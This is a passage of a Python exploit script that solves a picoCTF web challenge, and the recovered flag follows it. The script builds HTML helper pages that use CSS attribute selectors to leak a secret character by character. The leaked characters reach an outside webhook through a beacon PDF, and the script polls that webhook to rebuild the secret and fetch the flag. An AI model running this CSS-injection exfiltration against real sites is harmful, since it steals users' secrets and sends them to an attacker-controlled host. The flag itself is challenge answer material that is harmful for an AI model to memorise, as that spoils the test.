sx = len(out); out.extend(f"xref\n0 {len(objects)+1}\n".encode()); out.extend(b"0000000000 65535 f \n")
for o in offsets[1:]: out.extend(f"{o:010d} 00000 n \n".encode())
out.extend(f"trailer\n<< /Size {len(objects)+1} /Root 1 0 R >>\nstartxref\n{sx}\n%%EOF\n".encode())
return bytes(out)
def build_helper_page(secret_url):
return f'<!doctype html><iframe src="{secret_url}" width="1" height="1" style="border:0"></iframe>'.encode()
def build_helper_page_for_hi(prefix, suffix, hi, beacon_id, stage):
parts = ["<style>object{display:none}"]
for lo in HEX: parts.append(f'body[secret^="{prefix}{hi}{lo}"] #p{lo}{{display:block}}')
for lo in HEX: parts.append(f'body[secret$="{hi}{lo}{suffix}"] #s{lo}{{display:block}}')
parts.append("</style>")
for lo in HEX:
v = hi+lo
parts.append(f'<object id=p{lo} data="/paper/{beacon_id}?{urllib.parse.urlencode({"s":stage,"d":"p","c":v})}" type=application/pdf width=1 height=1></object>')
parts.append(f'<object id=s{lo} data="/paper/{beacon_id}?{urllib.parse.urlencode({"s":stage,"d":"s","c":v})}" type=application/pdf width=1 height=1></object>')
return build_helper_page("/secret?" + urllib.parse.urlencode({"payload":"".join(parts)}))
def build_main_stage_page(helper_ids, next_main_id, delay):
html = ["<!doctype html>"]
if next_main_id is not None:
d = f"{delay:.2f}".rstrip("0").rstrip(".")
html.append(f'<meta http-equiv="refresh" content="{d};url=/paper/{next_main_id}">')
for hid in helper_ids: html.append(f'<iframe src="/paper/{hid}" width="1" height="1" style="border:0"></iframe>')
return "".join(html).encode()
def upload_stage_batch(opener, base, prefix, suffix, beacon_id, stage, exp_first, next_main, delay):
helper_ids, observed = {}, set()
def upload_helper(hi):
return hi, upload_bytes(opener, base, build_helper_page_for_hi(prefix,suffix,hi,beacon_id,stage), "text/html", f"s{stage}-{hi}.html")
with concurrent.futures.ThreadPoolExecutor(max_workers=16) as pool:
for f in concurrent.futures.as_completed([pool.submit(upload_helper,h) for h in HEX]):
hi, hid = f.result(); observed.add(hid); helper_ids[hi] = hid
expected = set(range(exp_first, exp_first+HELPERS_PER_STAGE))
if observed != expected: raise RuntimeError(f"id mismatch: {sorted(observed)} != {sorted(expected)}")
exp_main = exp_first + HELPERS_PER_STAGE
main_id = upload_bytes(opener, base, build_main_stage_page([helper_ids[h] for h in HEX], next_main, delay), "text/html", f"stage{stage}.html")
if main_id != exp_main: raise RuntimeError(f"main id {main_id} != {exp_main}")
return main_id
def wait_for_stage(token, seen, stage, timeout, poll):
deadline = time.monotonic() + timeout; pv = sv = ""
while time.monotonic() < deadline:
for item in reversed(list_webhook_requests(token)):
rid = item["uuid"]
if rid in seen: continue
seen.add(rid); q = item.get("query") or {}
if str(q.get("s")) != str(stage): continue
d, c = q.get("d"), q.get("c")
if c not in PAIR_SET: continue
if d == "p": pv = c
elif d == "s": sv = c
if pv and sv: return pv, sv
time.sleep(poll)
raise TimeoutError(f"stage {stage}: prefix={pv!r} suffix={sv!r}")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--base-url", required=True); ap.add_argument("--insecure", action="store_true")
ap.add_argument("--initial-delay", type=float, default=5.0); ap.add_argument("--delay", type=float, default=6.5)
ap.add_argument("--poll-timeout", type=float, default=15.0); ap.add_argument("--poll-interval", type=float, default=0.1)
ap.add_argument("--webhook-token")
args = ap.parse_args(); opener = build_opener(args.insecure); base = args.base_url.rstrip("/")
token = args.webhook_token or create_webhook_token(); log(f"[+] webhook token: {token}")
beacon_id = upload_bytes(opener, base, build_beacon_pdf(token), "application/pdf", "beacon.pdf")
log(f"[+] beacon pdf: /paper/{beacon_id}")
prefix = suffix = ""
cur = upload_stage_batch(opener, base, prefix, suffix, beacon_id, 0, beacon_id+1,
beacon_id+(2*STAGE_STRIDE) if STAGE_COUNT>1 else None, args.initial_delay)
log(f"[+] stage 0 page: /paper/{cur}")
s, _, body = http_text(opener, "GET", urllib.parse.urljoin(base+"/", f"visit/{cur}"))
log(f"[+] visit response: {s} {body.strip()!r}")
if "visiting!" not in body: raise RuntimeError(f"visit failed: {s} {body!r}")
seen = set()
for stage in range(STAGE_COUNT):
t0 = time.monotonic(); pv, sv = wait_for_stage(token, seen, stage, args.poll_timeout, args.poll_interval)
prefix += pv; suffix = sv + suffix
log(f"[+] stage {stage:02d}: prefix={prefix} suffix={suffix} ({time.monotonic()-t0:.2f}s)")
if stage == STAGE_COUNT-1: break
nf = cur+1; nm = cur+STAGE_STRIDE; fm = nm+STAGE_STRIDE if stage < STAGE_COUNT-2 else None
cur = upload_stage_batch(opener, base, prefix, suffix, beacon_id, stage+1, nf, fm, args.delay)
if cur != nm: raise RuntimeError(f"stage id {cur} != {nm}")
log(f"[+] uploaded stage {stage+1} page: /paper/{cur}")
secret = prefix + suffix; log(f"[+] recovered secret: {secret}")
s, _, flag = http_text(opener, "GET", urllib.parse.urljoin(base+"/", "flag?"+urllib.parse.urlencode({"secret":secret})))
log(f"[+] flag response ({s}): {flag.strip()}")
return 0
if __name__ == "__main__": raise SystemExit(main())

picoCTF{i_l1ke_frames_on_my_canvas_953d5fff}